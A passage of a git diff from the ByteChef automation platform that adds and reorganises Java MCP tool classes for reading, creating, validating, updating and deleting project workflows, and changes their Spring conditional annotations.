+        @JsonProperty("created_date") @JsonPropertyDescription("When the deployment was created") Instant createdDate,
+        @JsonProperty("last_modified_date") @JsonPropertyDescription("When the deployment was last modified") Instant lastModifiedDate) {
+    }
+
+    /**
+     * Project publish information record for the response.
+     */
+    @SuppressFBWarnings("EI")
+    public record ProjectPublishInfo(
+        @JsonProperty("id") @JsonPropertyDescription("The unique identifier of the project") Long id,
+        @JsonProperty("name") @JsonPropertyDescription("The name of the project") String name,
+        @JsonProperty("published_version") @JsonPropertyDescription("The published version number") int publishedVersion,
+        @JsonProperty("description") @JsonPropertyDescription("The description of the published version") String description,
+        @JsonProperty("published_date") @JsonPropertyDescription("When the version was published") Instant publishedDate) {
+    }
+}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectWorkflowToolsImpl.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectWorkflowToolsImpl.java
new file mode 100644
index 00000000000..8e3c8ba5d30
--- /dev/null
+++ b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectWorkflowToolsImpl.java
@@ -0,0 +1,423 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.ai.mcp.tool.automation.impl;
+
+import com.bytechef.ai.mcp.tool.automation.api.ProjectWorkflowTools;
+import com.bytechef.ai.mcp.tool.platform.TaskTools;
+import com.bytechef.automation.configuration.domain.ProjectWorkflow;
+import com.bytechef.automation.configuration.dto.ProjectWorkflowDTO;
+import com.bytechef.automation.configuration.facade.ProjectWorkflowFacade;
+import com.bytechef.platform.workflow.validator.WorkflowValidator;
+import com.bytechef.platform.workflow.validator.model.PropertyInfo;
+import com.fasterxml.jackson.annotation.JsonProperty;
+import com.fasterxml.jackson.annotation.JsonPropertyDescription;
+import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import java.time.Instant;
+import java.util.HashMap;
+import java.util.List;
+import org.apache.commons.lang3.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.ai.tool.annotation.Tool;
+import org.springframework.ai.tool.annotation.ToolParam;
+import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
+import org.springframework.stereotype.Component;
+
+/**
+ * The ProjectWorkflowTools class provides utility methods and components to facilitate the management and execution of
+ * project workflows.
+ *
+ * @author Ivica Cardic
+ * @author Marko Kriskovic
+ */
+@Component
+@ConditionalOnProperty(name = "bytechef.mcp.server.enabled", havingValue = "true", matchIfMissing = true)
+public class ProjectWorkflowToolsImpl implements ProjectWorkflowTools {
+
+    private static final Logger logger = LoggerFactory.getLogger(ProjectWorkflowToolsImpl.class);
+
+    private final ProjectWorkflowFacade projectWorkflowFacade;
+    private final TaskTools taskTools;
+
+    private static final String DEFAULT_DEFINITION = """
+        {
+            "label": "workflowName",
+            "description": "workflowDescription",
+            "inputs": [],
+            "triggers": [
+                {
+                    "label": "Manual",
+                    "name": "trigger_1",
+                    "type": "manual/v1/manual"
+                }
+            ],
+            "tasks": []
+        }
+        """;
+
+    @SuppressFBWarnings("EI")
+    public ProjectWorkflowToolsImpl(ProjectWorkflowFacade projectWorkflowFacade, TaskTools taskTools) {
+        this.projectWorkflowFacade = projectWorkflowFacade;
+        this.taskTools = taskTools;
+    }
+
+    @Override
+    @Tool(
+        description = "Get comprehensive information about a specific workflow. Returns detailed project information including id, name, description, version, definition, project workflow id, created date, last modified date.")
+    public ProjectWorkflowToolsImpl.WorkflowInfo getWorkflow(
+        @ToolParam(description = "The ID of the workflow to retrieve") String workflowId) {
+
+        try {
+            ProjectWorkflowDTO projectWorkflowDTO = projectWorkflowFacade.getProjectWorkflow(workflowId);
+
+            if (logger.isDebugEnabled()) {
+                logger.debug("Retrieved workflow {}", projectWorkflowDTO.getProjectWorkflowId());
+            }
+
+            return new ProjectWorkflowToolsImpl.WorkflowInfo(
+                projectWorkflowDTO.getId(), projectWorkflowDTO.getProjectWorkflowId(),
+                projectWorkflowDTO.getWorkflowUuid(), projectWorkflowDTO.getLabel(),
+                projectWorkflowDTO.getDescription(), projectWorkflowDTO.getDefinition(),
+                projectWorkflowDTO.getVersion(),
+                projectWorkflowDTO.getCreatedDate() != null ? projectWorkflowDTO.getCreatedDate() : null,
+                projectWorkflowDTO.getLastModifiedDate() != null ? projectWorkflowDTO.getLastModifiedDate() : null);
+        } catch (Exception e) {
+            logger.error("Failed to get workflow {}", workflowId, e);
+
+            throw new RuntimeException("Failed to get workflow: " + e.getMessage(), e);
+        }
+    }
+
+    @Override
+    @SuppressFBWarnings("VA")
+    @Tool(description = "Instructions for building workflows")
+    public String getWorkflowBuildInstructions() {
+        return """
+            The workflow needs to be in JSON format similar to:
+            %s
+
+            - Every workflow must only have one trigger, but as many actions or task dispatchers as needed
+
+            Output properties:
+            Some tasks have output properties that you get with getTaskOutputProperty() tool. Output property is a response to the task.
+            For example: the action getMail will probably have the mail parameters as an output.
+            You can reference the output property in a format similar to:
+            ${taskName.property}
+            ${taskName.arrayProperty[1]}
+            ${taskName.objectProperty.property}}
+            """
+            .formatted(DEFAULT_DEFINITION);
+    }
+
+    @Override
+    @Tool(
+        description = "List all workflows in a project. Returns a list of workflows with their basic information including id, name and description")
+    public List<WorkflowInfo> listWorkflows(
+        @ToolParam(description = "The ID of the project") long projectId) {
+
+        try {
+            List<ProjectWorkflowDTO> workflows = projectWorkflowFacade.getProjectWorkflows(projectId);
+
+            List<ProjectWorkflowToolsImpl.WorkflowInfo> workflowInfos = workflows.stream()
+                .map(workflow -> new ProjectWorkflowToolsImpl.WorkflowInfo(workflow.getId(),
+                    workflow.getProjectWorkflowId(),
+                    workflow.getWorkflowUuid(),
+                    workflow.getLabel(), workflow.getDescription(), workflow.getDefinition(), workflow.getVersion(),
+                    workflow.getCreatedDate() != null ? workflow.getCreatedDate() : null,
+                    workflow.getLastModifiedDate() != null ? workflow.getLastModifiedDate() : null))
+                .toList();
+
+            if (logger.isDebugEnabled()) {
+                logger.debug("Found {} projects", workflowInfos.size());
+            }
+
+            return workflowInfos;
+        } catch (Exception e) {
+            logger.error("Failed to list project workflows", e);
+
+            throw new RuntimeException("Failed to list project workflows: " + e.getMessage(), e);
+        }
+    }
+
+    @Override
+    @Tool(
+        description = "Full-text search across workflows in projects. Returns a list of workflows matching the search query in name or description.")
+    public List<ProjectWorkflowToolsImpl.WorkflowInfo> searchWorkflows(
+        @ToolParam(description = "The search query to match against workflow names and descriptions") String query,
+        @ToolParam(required = false, description = "The ID of the project") Long projectId) {
+
+        try {
+            List<ProjectWorkflowDTO> allWorkflows =
+                projectId != null ? projectWorkflowFacade.getProjectWorkflows(projectId)
+                    : projectWorkflowFacade.getProjectWorkflows();
+
+            String lowerQuery = StringUtils.trim(query.toLowerCase());
+
+            List<ProjectWorkflowToolsImpl.WorkflowInfo> matchingWorkflow = allWorkflows.stream()
+                .filter(workflow -> {
+                    String name = workflow.getLabel();
+
+                    name = name != null ? name.toLowerCase() : "";
+
+                    String description = workflow.getDescription();
+
+                    description = description != null ? description.toLowerCase() : "";
+
+                    return name.contains(lowerQuery) || description.contains(lowerQuery);
+                })
+                .map(workflow -> new ProjectWorkflowToolsImpl.WorkflowInfo(
+                    workflow.getId(), workflow.getProjectWorkflowId(), workflow.getWorkflowUuid(), workflow.getLabel(),
+                    workflow.getDescription(), workflow.getDefinition(), workflow.getVersion(),
+                    workflow.getCreatedDate() != null ? workflow.getCreatedDate() : null,
+                    workflow.getLastModifiedDate() != null ? workflow.getLastModifiedDate() : null))
+                .toList();
+
+            if (logger.isDebugEnabled()) {
+                logger.debug("Found {} workflows matching query '{}'", matchingWorkflow.size(), query);
+            }
+
+            return matchingWorkflow;
+        } catch (Exception e) {
+            logger.error("Failed to search workflows with query '{}'", query, e);
+            throw new RuntimeException("Failed to search workflows: " + e.getMessage(), e);
+        }
+    }
+
+    @Override
+    @Tool(
+        description = "Validate a workflow configuration by checking its structure, properties and outputs against the task definitions. Returns validation results with any errors found")
+    public ProjectWorkflowToolsImpl.WorkflowValidationResult validateWorkflow(
+        @ToolParam(description = "The JSON string of the workflow to validate") String workflow) {
+
+        try {
+            StringBuilder errors = new StringBuilder("[");
+            StringBuilder warnings = new StringBuilder("[");
+
+            WorkflowValidator.validateWorkflow(
+                workflow, this::getTaskProperties, this::getTaskOutputProperty, new HashMap<>(),
+                new HashMap<>(), errors, warnings);
+
+            errors.append("]");
+
+            String errorMessages = StringUtils.trim(errors.toString());
+
+            boolean isValid = errorMessages.equals("[]");
+
+            warnings.append("]");
+
+            String warningMessages = StringUtils.trim(warnings.toString());
+
+            if (logger.isDebugEnabled()) {
+                logger.debug(
+                    "Validated workflow. Valid: {}, Errors: {}, Warnings: {}", isValid, errorMessages, warningMessages);
+            }
+
+            return new ProjectWorkflowToolsImpl.WorkflowValidationResult(isValid, errorMessages, warningMessages);
+        } catch (Exception e) {
+            logger.error("Failed to validate workflow", e);
+
+            throw new RuntimeException("Failed to validate workflow", e);
+        }
+    }
+
+    @Override
+    @Tool(
+        description = "Create a new workflow in a ByteChef project. Returns the created workflow information including id, project id, workflow id, and reference code.")
+    public ProjectWorkflowInfo createProjectWorkflow(
+        @ToolParam(description = "The ID of the project to add the workflow to") long projectId,
+        @ToolParam(
+            description = "The definition for the workflow. Needs to be in JSON format similar to "
+                + DEFAULT_DEFINITION) String definition) {
+
+        try {
+            ProjectWorkflow projectWorkflow = projectWorkflowFacade.addWorkflow(projectId, definition);
+
+            if (logger.isDebugEnabled()) {
+                logger.debug("Created workflow {} for project {}", definition, projectId);
+            }
+
+            return new ProjectWorkflowInfo(
+                projectWorkflow.getId(), projectWorkflow.getProjectId(), projectWorkflow.getProjectVersion(),
+                projectWorkflow.getWorkflowId(), projectWorkflow.getUuidAsString(),
+                projectWorkflow.getCreatedDate() != null ? projectWorkflow.getCreatedDate() : null,
+                projectWorkflow.getLastModifiedDate() != null ? projectWorkflow.getLastModifiedDate() : null);
+        } catch (Exception e) {
+            logger.error(
+                "Failed to create workflow {} for project {}", definition, projectId, e);
+
+            throw new RuntimeException("Failed to create project workflow: " + e.getMessage(), e);
+        }
+    }
+
+    @Override
+    @Tool(description = "Delete a workflow. Returns a confirmation message.")
+    public String deleteWorkflow(
+        @ToolParam(description = "The ID of the workflow to delete") String workflowId) {
+        try {
+            ProjectWorkflowDTO projectWorkflowDTO = projectWorkflowFacade.getProjectWorkflow(workflowId);
+
+            String workflowName = projectWorkflowDTO.getLabel();
+
+            projectWorkflowFacade.deleteWorkflow(projectWorkflowDTO.getId());
+
+            if (logger.isDebugEnabled()) {
+                logger.debug("Deleted workflow {} with name '{}'", workflowId, workflowName);
+            }
+
+            return "Workflow '" + workflowName + "' (ID: " + workflowId + ") has been successfully deleted.";
+        } catch (Exception e) {
+            logger.error("Failed to delete workflow {}", workflowId, e);
+
+            throw new RuntimeException("Failed to delete workflow: " + e.getMessage(), e);
+        }
+    }
+
+    @Override
+    @Tool(
+        description = "Update the workflow definition. Returns the updated workflow id, name and definition.")
+    public WorkflowInfo updateWorkflow(
+        @ToolParam(description = "The ID of the workflow to update") String workflowId,
+        @ToolParam(
+            description = "The new definition of the workflow. Needs to be in JSON format similar to " +
+                DEFAULT_DEFINITION) String definition) {
+
+        try {
+            ProjectWorkflowDTO projectWorkflowDTO = projectWorkflowFacade.getProjectWorkflow(workflowId);
+
+            projectWorkflowFacade.updateWorkflow(
+                projectWorkflowDTO.getId(), definition, projectWorkflowDTO.getVersion());
+
+            if (logger.isDebugEnabled()) {
+                logger.debug(
+                    "Updated workflow {} with name '{}'", projectWorkflowDTO.getId(), projectWorkflowDTO.getLabel());
+            }
+
+            return new WorkflowInfo(
+                projectWorkflowDTO.getId(), projectWorkflowDTO.getProjectWorkflowId(),
+                projectWorkflowDTO.getWorkflowUuid(), projectWorkflowDTO.getLabel(),
+                projectWorkflowDTO.getDescription(), projectWorkflowDTO.getDefinition(),
+                projectWorkflowDTO.getVersion(),
+                projectWorkflowDTO.getCreatedDate() != null ? projectWorkflowDTO.getCreatedDate() : null,
+                projectWorkflowDTO.getLastModifiedDate() != null ? projectWorkflowDTO.getLastModifiedDate() : null);
+        } catch (Exception e) {
+            logger.error("Failed to update workflow {}", workflowId, e);
+
+            throw new RuntimeException("Failed to update workflow: " + e.getMessage(), e);
+        }
+    }
+
+    protected PropertyInfo getTaskOutputProperty(String type, String taskType, StringBuilder warnings) {
+        String[] split = type.split("/");
+
+        int version = Integer.parseInt(split[1].substring(1));
+
+        try {
+            if (split.length == 2) {
+                return taskTools.getTaskOutputProperty("taskDispatcher", split[0], split[0], version);
+            } else if (taskType.equals("trigger")) {
+                return taskTools.getTaskOutputProperty(taskType, split[2], split[0], version);
+            } else {
+                return taskTools.getTaskOutputProperty("action", split[2], split[0], version);
+            }
+        } catch (Exception e) {
+            warnings.append(e.getMessage());
+
+            return null;
+        }
+    }
+
+    protected List<PropertyInfo> getTaskProperties(String type, String taskType) {
+        String[] split = type.split("/");
+
+        int version = Integer.parseInt(split[1].substring(1));
+
+        if (split.length == 2) {
+            return taskTools.getTaskProperties("taskDispatcher", split[0], split[0], version);
+        } else if (taskType.equals("trigger")) {
+            return taskTools.getTaskProperties(taskType, split[2], split[0], version);
+        } else {
+            return taskTools.getTaskProperties("action", split[2], split[0], version);
+        }
+    }
+
+    /**
+     * Project workflow information record for the response.
+     */
+    @SuppressFBWarnings("EI")
+    public record ProjectWorkflowInfo(
+        @JsonProperty("id") @JsonPropertyDescription("The unique identifier of the project workflow") Long id,
+        @JsonProperty("project_id") @JsonPropertyDescription("The ID of the project this workflow belongs to") long projectId,
+        @JsonProperty("project_version") @JsonPropertyDescription("The version of the project") int projectVersion,
+        @JsonProperty("workflow_id") @JsonPropertyDescription("The unique identifier of the workflow") String workflowId,
+        @JsonProperty("workflow_uuid") @JsonPropertyDescription("The uuid of the workflow") String workflowUuid,
+        @JsonProperty("created_date") @JsonPropertyDescription("When the workflow was created") Instant createdDate,
+        @JsonProperty("last_modified_date") @JsonPropertyDescription("When the workflow was last modified") Instant lastModifiedDate) {
+    }
+
+    /**
+     * Detailed task information record for the response.
+     */
+    @SuppressFBWarnings("EI")
+    public record TaskInfo(
+        @JsonProperty("name") @JsonPropertyDescription("The name of the task") String name,
+        @JsonProperty("title") @JsonPropertyDescription("The title of the task") String title,
+        @JsonProperty("description") @JsonPropertyDescription("The description of the task") String description,
+        @JsonProperty("type") @JsonPropertyDescription("The type of the task: action, trigger, or taskDispatcher") String type,
+        @JsonProperty("componentName") @JsonPropertyDescription("The name of the component (null for taskDispatchers)") String componentName,
+        @JsonProperty("properties") @JsonPropertyDescription("The properties of the task as JSON string") String properties,
+        @JsonProperty("outputProperties") @JsonPropertyDescription("The output properties of the task as JSON string") String outputProperties) {
+
+    }
+
+    /**
+     * Minimal task information record for the response.
+     */
+    @SuppressFBWarnings("EI")
+    public record TaskMinimalInfo(
+        @JsonProperty("name") @JsonPropertyDescription("The name of the task") String name,
+        @JsonProperty("description") @JsonPropertyDescription("The description of the task") String description,
+        @JsonProperty("type") @JsonPropertyDescription("The type of the task: action, trigger, or taskDispatcher") String type,
+        @JsonProperty("componentName") @JsonPropertyDescription("The name of the component (null for taskDispatchers)") String componentName) {
+
+    }
+
+    /**
+     * Workflow information record for the response.
+     */
+    @SuppressFBWarnings("EI")
+    public record WorkflowInfo(
+        @JsonProperty("id") @JsonPropertyDescription("The unique identifier of the workflow") String id,
+        @JsonProperty("project_workflow_id") @JsonPropertyDescription("The unique identifier of the project workflow") Long projectWorkflowId,
+        @JsonProperty("workflow_uuid") @JsonPropertyDescription("The uuid of the workflow") String workflowUuid,
+        @JsonProperty("name") @JsonPropertyDescription("The name of the workflow") String name,
+        @JsonProperty("description") @JsonPropertyDescription("The description of the workflow") String description,
+        @JsonProperty("definition") @JsonPropertyDescription("The definition of the workflow") String definition,
+        @JsonProperty("version") @JsonPropertyDescription("The version of the workflow") int version,
+        @JsonProperty("created_date") @JsonPropertyDescription("When the workflow was created") Instant createdDate,
+        @JsonProperty("last_modified_date") @JsonPropertyDescription("When the workflow was last modified") Instant lastModifiedDate) {
+    }
+
+    /**
+     * Workflow validation result record for the response.
+     */
+    @SuppressFBWarnings("EI")
+    public record WorkflowValidationResult(
+        @JsonProperty("valid") @JsonPropertyDescription("Whether the workflow is valid") boolean valid,
+        @JsonProperty("errors") @JsonPropertyDescription("Error details, which need to be fixed before the workflow can be valid") String errors,
+        @JsonProperty("warnings") @JsonPropertyDescription("Warning details that give additional information") String warnings) {
+    }
+}
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ReadProjectToolsImpl.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ReadProjectToolsImpl.java
similarity index 80%
rename from server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ReadProjectToolsImpl.java
rename to server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ReadProjectToolsImpl.java
index 5b8d55bed0e..ef974478e95 100644
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ReadProjectToolsImpl.java
+++ b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ReadProjectToolsImpl.java
@@ -16,27 +16,17 @@
 
 package com.bytechef.ai.mcp.tool.automation.impl;
 
-import com.bytechef.ai.mcp.tool.automation.api.ProjectDetailInfo;
-import com.bytechef.ai.mcp.tool.automation.api.ProjectInfo;
-import com.bytechef.ai.mcp.tool.automation.api.ProjectStatusInfo;
 import com.bytechef.ai.mcp.tool.automation.api.ProjectTools;
 import com.bytechef.ai.mcp.tool.automation.api.ReadProjectTools;
-import com.bytechef.ai.mcp.tool.config.ConditionalOnAiEnabled;
 import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.util.List;
 import org.springframework.ai.tool.annotation.Tool;
 import org.springframework.ai.tool.annotation.ToolParam;
-import org.springframework.stereotype.Component;
 
 /**
- * Read-only project tools implementation that delegates to ProjectTools.
- *
  * @author Marko Kriskovic
  */
-@Component
-@ConditionalOnAiEnabled
 public class ReadProjectToolsImpl implements ReadProjectTools {
-
     private final ProjectTools delegate;
 
     @SuppressFBWarnings("EI")
@@ -47,14 +37,14 @@ public ReadProjectToolsImpl(ProjectTools projectTools) {
     @Override
     @Tool(
         description = "List all projects in ByteChef. Returns a list of projects with their basic information including id, name, description, and status.")
-    public List<ProjectInfo> listProjects() {
+    public List<ProjectToolsImpl.ProjectInfo> listProjects() {
         return delegate.listProjects();
     }
 
     @Override
     @Tool(
         description = "Get comprehensive information about a specific project. Returns detailed project information including id, name, description, status, versions, and metadata.")
-    public ProjectDetailInfo getProject(
+    public ProjectToolsImpl.ProjectDetailInfo getProject(
         @ToolParam(description = "The ID of the project to retrieve") long projectId) {
         return delegate.getProject(projectId);
     }
@@ -62,7 +52,7 @@ public ProjectDetailInfo getProject(
     @Override
     @Tool(
         description = "Full-text search across all projects. Returns a list of projects matching the search query in name or description.")
-    public List<ProjectInfo> searchProjects(
+    public List<ProjectToolsImpl.ProjectInfo> searchProjects(
         @ToolParam(description = "The search query to match against project names and descriptions") String query) {
         return delegate.searchProjects(query);
     }
@@ -70,7 +60,7 @@ public List<ProjectInfo> searchProjects(
     @Override
     @Tool(
         description = "Get project deployment and execution status. Returns detailed status information including deployment environments and their states.")
-    public ProjectStatusInfo getProjectStatus(
+    public ProjectToolsImpl.ProjectStatusInfo getProjectStatus(
         @ToolParam(description = "The ID of the project to get status for") long projectId) {
         return delegate.getProjectStatus(projectId);
     }
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ReadProjectWorkflowToolsImpl.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ReadProjectWorkflowToolsImpl.java
similarity index 86%
rename from server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ReadProjectWorkflowToolsImpl.java
rename to server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ReadProjectWorkflowToolsImpl.java
index 4742ad32d4a..95c11413de8 100644
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ReadProjectWorkflowToolsImpl.java
+++ b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/main/java/com/bytechef/ai/mcp/tool/automation/impl/ReadProjectWorkflowToolsImpl.java
@@ -18,9 +18,6 @@
 
 import com.bytechef.ai.mcp.tool.automation.api.ProjectWorkflowTools;
 import com.bytechef.ai.mcp.tool.automation.api.ReadProjectWorkflowTools;
-import com.bytechef.ai.mcp.tool.automation.api.WorkflowInfo;
-import com.bytechef.ai.mcp.tool.automation.api.WorkflowValidationResult;
-import com.bytechef.ai.mcp.tool.config.ConditionalOnAiEnabled;
 import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.util.List;
 import org.springframework.ai.tool.annotation.Tool;
@@ -28,15 +25,14 @@
 import org.springframework.stereotype.Component;
 
 /**
- * Read-only project workflow tools implementation that delegates to ProjectWorkflowTools.
+ * The ProjectWorkflowTools class provides utility methods and components to facilitate the management and execution of
+ * project workflows.
  *
  * @author Ivica Cardic
  * @author Marko Kriskovic
  */
 @Component
-@ConditionalOnAiEnabled
 public class ReadProjectWorkflowToolsImpl implements ReadProjectWorkflowTools {
-
     private final ProjectWorkflowTools delegate;
 
     @SuppressFBWarnings("EI")
@@ -47,7 +43,7 @@ public ReadProjectWorkflowToolsImpl(ProjectWorkflowTools projectTools) {
     @Override
     @Tool(
         description = "Get comprehensive information about a specific workflow. Returns detailed project information including id, name, description, version, definition, project workflow id, created date, last modified date.")
-    public WorkflowInfo getWorkflow(
+    public ProjectWorkflowToolsImpl.WorkflowInfo getWorkflow(
         @ToolParam(description = "The ID of the workflow to retrieve") String workflowId) {
         return delegate.getWorkflow(workflowId);
     }
@@ -61,7 +57,7 @@ public String getWorkflowBuildInstructions() {
     @Override
     @Tool(
         description = "List all workflows in a project. Returns a list of workflows with their basic information including id, name and description")
-    public List<WorkflowInfo> listWorkflows(
+    public List<ProjectWorkflowToolsImpl.WorkflowInfo> listWorkflows(
         @ToolParam(description = "The ID of the project") long projectId) {
         return delegate.listWorkflows(projectId);
     }
@@ -69,7 +65,7 @@ public List<WorkflowInfo> listWorkflows(
     @Override
     @Tool(
         description = "Full-text search across workflows in projects. Returns a list of workflows matching the search query in name or description.")
-    public List<WorkflowInfo> searchWorkflows(
+    public List<ProjectWorkflowToolsImpl.WorkflowInfo> searchWorkflows(
         @ToolParam(description = "The search query to match against workflow names and descriptions") String query,
         @ToolParam(required = false, description = "The ID of the project") Long projectId) {
         return delegate.searchWorkflows(query, projectId);
@@ -78,7 +74,7 @@ public List<WorkflowInfo> searchWorkflows(
     @Override
     @Tool(
         description = "Validate a workflow configuration by checking its structure, properties and outputs against the task definitions. Returns validation results with any errors found")
-    public WorkflowValidationResult validateWorkflow(
+    public ProjectWorkflowToolsImpl.WorkflowValidationResult validateWorkflow(
         @ToolParam(description = "The JSON string of the workflow to validate") String workflowId) {
         return delegate.validateWorkflow(workflowId);
     }
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/src/test/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectWorkflowToolsImplTest.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/test/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectWorkflowToolsImplTest.java
similarity index 100%
rename from server/libs/ai/mcp/mcp-tool/mcp-tool-automation-impl/src/test/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectWorkflowToolsImplTest.java
rename to server/libs/ai/mcp/mcp-tool/mcp-tool-automation/src/test/java/com/bytechef/ai/mcp/tool/automation/impl/ProjectWorkflowToolsImplTest.java
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/build.gradle.kts b/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/build.gradle.kts
index 8792503c7be..adc4891231d 100644
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/build.gradle.kts
+++ b/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/build.gradle.kts
@@ -3,7 +3,6 @@ dependencies {
     implementation("org.slf4j:slf4j-api")
     implementation("org.springframework:spring-context")
     implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation(project(":server:libs:ai:mcp:mcp-tool:mcp-tool-api"))
     implementation(project(":server:libs:core:commons:commons-util"))
     implementation(project(":server:libs:platform:platform-component:platform-component-api"))
     implementation(project(":server:libs:platform:platform-workflow:platform-workflow-task-dispatcher:platform-workflow-task-dispatcher-api"))
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/src/main/java/com/bytechef/ai/mcp/tool/platform/ComponentTools.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/src/main/java/com/bytechef/ai/mcp/tool/platform/ComponentTools.java
index e06d178ed90..978e52c2eb5 100644
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/src/main/java/com/bytechef/ai/mcp/tool/platform/ComponentTools.java
+++ b/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/src/main/java/com/bytechef/ai/mcp/tool/platform/ComponentTools.java
@@ -16,7 +16,6 @@
 
 package com.bytechef.ai.mcp.tool.platform;
 
-import com.bytechef.ai.mcp.tool.config.ConditionalOnAiEnabled;
 import com.bytechef.ai.mcp.tool.platform.util.ToolUtils;
 import com.bytechef.component.definition.ComponentCategory;
 import com.bytechef.platform.component.definition.PropertyFactory;
@@ -49,13 +48,14 @@
 import org.springframework.ai.vectorstore.VectorStore;
 import org.springframework.ai.vectorstore.filter.Filter;
 import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
 import org.springframework.stereotype.Component;
 
 /**
  * @author Marko Kriskovic
  */
 @Component
-@ConditionalOnAiEnabled
+@ConditionalOnProperty(name = "bytechef.mcp.server.enabled", havingValue = "true", matchIfMissing = true)
 public class ComponentTools {
 
     private static final Logger logger = LoggerFactory.getLogger(ComponentTools.class);
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/src/main/java/com/bytechef/ai/mcp/tool/platform/TaskDispatcherTools.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/src/main/java/com/bytechef/ai/mcp/tool/platform/TaskDispatcherTools.java
index 336bb5b0bf5..cd25396f0ff 100644
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/src/main/java/com/bytechef/ai/mcp/tool/platform/TaskDispatcherTools.java
+++ b/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/src/main/java/com/bytechef/ai/mcp/tool/platform/TaskDispatcherTools.java
@@ -16,7 +16,6 @@
 
 package com.bytechef.ai.mcp.tool.platform;
 
-import com.bytechef.ai.mcp.tool.config.ConditionalOnAiEnabled;
 import com.bytechef.ai.mcp.tool.platform.util.ToolUtils;
 import com.bytechef.platform.domain.BaseProperty;
 import com.bytechef.platform.domain.OutputResponse;
@@ -34,13 +33,14 @@
 import org.slf4j.LoggerFactory;
 import org.springframework.ai.tool.annotation.Tool;
 import org.springframework.ai.tool.annotation.ToolParam;
+import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
 import org.springframework.stereotype.Component;
 
 /**
  * @author Marko Kriskovic
  */
 @Component
-@ConditionalOnAiEnabled
+@ConditionalOnProperty(name = "bytechef.mcp.server.enabled", havingValue = "true", matchIfMissing = true)
 public class TaskDispatcherTools {
 
     private static final Logger logger = LoggerFactory.getLogger(TaskDispatcherTools.class);
diff --git a/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/src/main/java/com/bytechef/ai/mcp/tool/platform/TaskTools.java b/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/src/main/java/com/bytechef/ai/mcp/tool/platform/TaskTools.java
index d1c1b5ec0af..2e0c570c1f1 100644
--- a/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/src/main/java/com/bytechef/ai/mcp/tool/platform/TaskTools.java
+++ b/server/libs/ai/mcp/mcp-tool/mcp-tool-platform/src/main/java/com/bytechef/ai/mcp/tool/platform/TaskTools.java
@@ -16,7 +16,6 @@
 
 package com.bytechef.ai.mcp.tool.platform;
 
-import com.bytechef.ai.mcp.tool.config.ConditionalOnAiEnabled;
 import com.bytechef.ai.mcp.tool.platform.ComponentTools.ActionDetailedInfo;
 import com.bytechef.ai.mcp.tool.platform.ComponentTools.ActionMinimalInfo;
 import com.bytechef.ai.mcp.tool.platform.ComponentTools.TriggerDetailedInfo;
@@ -36,13 +35,14 @@
 import org.slf4j.LoggerFactory;
 import org.springframework.ai.tool.annotation.Tool;
